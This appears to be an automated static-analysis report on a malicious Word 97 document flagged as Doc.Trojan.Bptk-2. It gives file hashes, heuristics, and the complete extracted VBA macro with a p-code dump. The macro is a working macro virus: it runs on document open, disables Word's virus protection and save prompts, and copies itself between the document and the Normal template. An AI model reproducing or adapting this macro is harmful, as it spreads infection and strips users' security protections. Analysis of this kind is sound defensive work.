Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b544431fa9d59e02…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-06-16 13:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 50ccf9e3c473868f1568ca6319da9a93 SHA-1: 3c4a29e9a654947e9266eedf9d79ffc70e1c1cd8 SHA-256: b544431fa9d59e0277a31c68431a18d1cff67698cdcb6d24c2b41222d8579646
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open subroutine, which is a common technique for executing malicious code when a document is opened. The macro attempts to disable security features and copy code, indicating an intent to execute a payload. The ClamAV detection name 'Doc.Trojan.Bptk-2' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Bptk-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bptk-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3901 bytes
SHA-256: cec3375ae54e5985bdb09cdc9dc63a853512cccaedc090880436b03eff6aa095
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next 'D
Application.EnableCancelKey = 0
With Options:
.ConfirmConversions = 0
.SaveNormalPrompt = 0
.VirusProtection = 0
End With
t = "D"
If ActiveDocument.VBProject.VBComponents.Item(1).Codemodule.Lines(2, 1) <> "On Error Resume Next 'D" Then
Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set c = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf NormalTemplate.VBProject.VBComponents.Item(1).Codemodule.Lines(2, 1) <> "On Error Resume Next 'D" Then
Set d = NormalTemplate.VBProject.VBComponents.Item(1)
Set c = ActiveDocument.VBProject.VBComponents.Item(1)
Else: t = ""
End If
If t <> "" Then
d.Codemodule.DeleteLines 1, d.Codemodule.CountOfLines
d.Codemodule.AddFromString c.Codemodule.Lines(1, c.Codemodule.CountOfLines)
ActiveDocument.Save
NormalTemplate.Save
End If
Randomize
If Rnd < 0.3 Then MsgBox "ÁÏÒÊ"
End Sub



' Processing file: /opt/analyzer/scan_staging/0e86c12cf45642cfbf3fd5f68b5deb02.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2322 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' 	QuoteRem 0x0015 0x0001 "D"
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' Line #4:
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' Line #5:
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' Line #6:
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' Line #7:
' 	EndWith 
' Line #8:
' 	LitStr 0x0001 "D"
' 	St t 
' Line #9:
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0017 "On Error Resume Next 'D"
' 	Ne 
' 	IfBlock 
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set d 
' Line #11:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set c 
' Line #12:
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0017 "On Error Resume Next 'D"
' 	Ne 
' 	ElseIfBlock 
' Line #13:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set d 
' Line #14:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set c 
' Line #15:
' 	ElseBlock 
' 	BoS 0x0000 
' 	LitStr 0x0000 ""
' 	St t 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld t 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #18:
' 	LitDI2 0x0001 
' 	Ld d 
' 	MemLd Codemodule 
' 	MemLd CountOfLines 
' 	Ld d 
' 	MemLd Codemodule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #19:
' 	LitDI2 0x0001 
' 	Ld c 
' 	MemLd Codemodule 
' 	MemLd CountOfLines 
' 	Ld c 
' 	MemLd Codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld d 
' 	MemLd Codemodule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #20:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #21:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	ArgsCall Read 0x0000 
' Line #24:
' 	Ld Rnd 
' 	LitR8 0x3333 0x3333 0x3333 0x3FD3 
' 	Lt 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0004 "ÁÏÒÊ"
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #25:
' 	EndSub 
' Line #26:
' Line #27:

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